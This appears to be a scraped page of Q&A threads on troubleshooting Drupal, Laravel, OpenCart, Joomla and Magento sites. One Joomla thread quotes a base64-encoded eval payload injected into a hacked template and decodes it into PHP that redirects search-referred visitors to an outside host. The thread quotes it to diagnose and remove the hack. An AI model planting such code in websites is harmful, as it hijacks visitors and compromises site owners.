Drupal navigation not working ajax.js missing - ajax

We have Drupal 7 site and at some point botom page paging navigation stops working.
After investigating we found that ajax.js missing on those pages.
So when we saved html from our broken page and add ajax.js script then navigation works.
What's the way to add this ajax.js file to all pages?
(We are not Drupal familiar and firm that has developed this site not avilable for this anymore)

I solved it somehow by adding
drupal_add_library('system', 'drupal.ajax');
to module functions
function theme_*_contents($variables){
drupal_add_library('system', 'drupal.ajax');
...
I'm still open for improvements for this solution.

Related

Locating the main website (front page) file in cpanel for website built on laravel and voyager

I am trying to locate the file or folder in cpanel that the front page of my website is housed in so i can add a floating action button script to my website.
I just have no prior experience here.
(I am trying to add this in correct place)
It should have a finished result as here http://www.floatingactionbutton.com
The views or 'pages' of the application should be in the resources/views/ directory. You may find a view that is 'home' or something similar but there is no way of knowing what the views have been named when your application was developed.
The views may not be in straight HTML / PHP but rather use Laravel's Blade syntax.
In addition, existing javascript files in your site may have been compiled using Webpack. I imagine the floating action button will be a javascript script.
Can you get the original developer to add the script for you?

Opencart header and Footer Call in Codeigniter Site

I have a site in opencart on root and Codeigniter site in sub-directory.
Is there any way to call Opencart Header and Footer in Codeigniter site.
Thanks
Well it is possible to call it, you just have to call the tpl files, but variables used there will throw errors and finally it will not work, only if you had static elements only called in your header.tpl and footer.tpl would this work, in the other cases it will not(you would have to include manyy files, and security issues would come up).

Joomla loading slow. Menu items not loading

Lately my Joomla website was not showing properly, only the background image was loading, and some minor things.
Somehow the page template (index.php) was changed and some extra code was added. Specifically, this code:
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9wb2FzbS5xcG9lLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
was introduced several times throughout the php code, which is causing slow loading times (about 15-20 seconds to load any page) in my website.
It appears your site was hacked, this means it can be hacked again.
If you're using Joomla 1.5 you should make upgrade to at least the 2.5.x line, if you can't make sure you using version 1.5.26.
Next check all the extensions you have installed against the VEL (Joomla!'s Vulnerable Extensions List)
Once you've done that, you should secure you site using products like AdminTools or similar highly rated products from the Site Protection section of the Joomla Extensions Directory etc.
By the way that particular payload was built to capture users referred to your site by search engines and redirect them to http://poasm.qpoe.com/ It decodes to this:
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"live.com") or stristr($referer,"webalta") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com/l") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://poasm.qpoe.com/");
exit();
}
}
}
}
}
I stumbled upon this comment and was finally able to solve my problem.
Just go to administration --> Extensions --> Template Manager. Go to the Templates section, select your template, select Edit main page template, and get your index.php rid of all those garbage function calls. Cleaning it solved the problem for me, now everything is back to normal, everything loads as fast as before and all the pages display properly.

Joomla Admin and Frontend Links not working

i am facing a problem after hacking in my website. All Links redirecting to home page. Any Help ? Shorten URL as http://goo.gl/28FYH
In Admin, No Save, NO CLose Edit, nothing is working. ANy help ?
I have tried all the possibilities like to change in .hataccess, no help from that.
In Joomla 1.5, the links in the backend are managed by JS. Check if all scripts are included properly. You can also open the JS Console of your browser to see what is happening when clicking a link.

Magento Admin CSS and JS paths incorrect after moving server and product pages empty?

I have recently moved a Magento site from a subdomain to it's destination domain at picnprint.me on a different server. I am experiencing two problems at the moment since moving the site to the new server.
The admin area CSS and JS paths are being rendered incorrectly.
For example... The Magento Admin page is looking for adminhtml/default/default/reset.css instead of picnprint.me/skin/adminhtml/default/default/…
If I place the CSS and JS files in the locations that the admin pages are currently pathing to then the Magento Admin will load normally but won't allow me to login.
Also, All the product pages on the front end are displaying blank, the site template loads but no product content loads.
Does anyone know what the cause of these issues could be and how I remedy the problem?
Cheers,
Andy
Using your favourite RDMS tool (such as phpMyAdmin) open the table core_config_data, correct the values for the paths web/unsecure/base_url and web/secure/base_url. Make sure dev/js/merge_files and dev/css/merge_css_files are both 0.
Clear the cache by deleting all files in var/cache/ in your Magento directory.
I had the same issue. I know this may not be the answer to the above question but still feel that this could help someone with a very similar issue.
I have had this problem a couple of times now and end up googling in circles for 20 minutes before I remember the solution. This post is mostly for my future self who will undoubtedly have the issue again.
I had 'combine javascript and css enabled'. My locally combined css and js files were being automatically deployed to the server.
The issue was that my media folder where all the css and js was now being loaded from did not have the correct permissions. After granting apache write permission all of my troubles went away :).
It is probably a good idea to add the media/css and media/js folders to .gitignore.

Resources